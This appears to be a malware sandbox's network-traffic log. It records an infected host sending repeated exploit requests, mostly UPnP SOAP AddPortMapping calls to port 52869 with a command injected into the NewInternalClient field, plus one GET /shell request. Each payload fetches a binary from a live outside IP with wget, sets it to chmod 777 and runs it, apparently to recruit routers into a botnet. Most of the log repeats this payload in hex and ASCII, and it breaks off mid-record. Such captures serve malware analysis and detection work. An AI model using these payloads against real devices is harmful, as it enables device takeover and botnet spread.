                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      171192.168.2.1558482198.97.132.1325501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:03.697720051 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      172192.168.2.155567245.41.94.16052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:04.821702003 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:08.919068098 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:15.062808990 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:27.094548941 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      173192.168.2.153989245.207.147.10552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:04.970489979 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:09.175018072 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 